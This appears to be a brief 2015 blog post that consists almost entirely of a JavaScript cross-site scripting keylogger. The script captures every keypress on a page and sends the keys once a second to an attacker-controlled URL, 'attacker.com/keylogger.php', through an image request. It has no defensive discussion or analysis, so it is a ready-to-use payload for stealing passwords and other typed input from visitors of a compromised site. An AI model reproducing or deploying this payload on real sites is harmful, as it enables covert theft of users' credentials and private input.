Friday, November 13, 2015

Simple XSS Key Logger



var keys = '';

document.onkeypress = function(e) {
    var get = window.event ? event : e;
    var key = get.keyCode ? get.keyCode : get.charCode;
    key = String.fromCharCode(key);
    keys += key;
}

window.setInterval(function(){
    new Image().src = 'http://attacker.com/keylogger.php?c=' + keys;
    keys = '';
}, 1000);

http://wiremask.eu/xss-keylogger/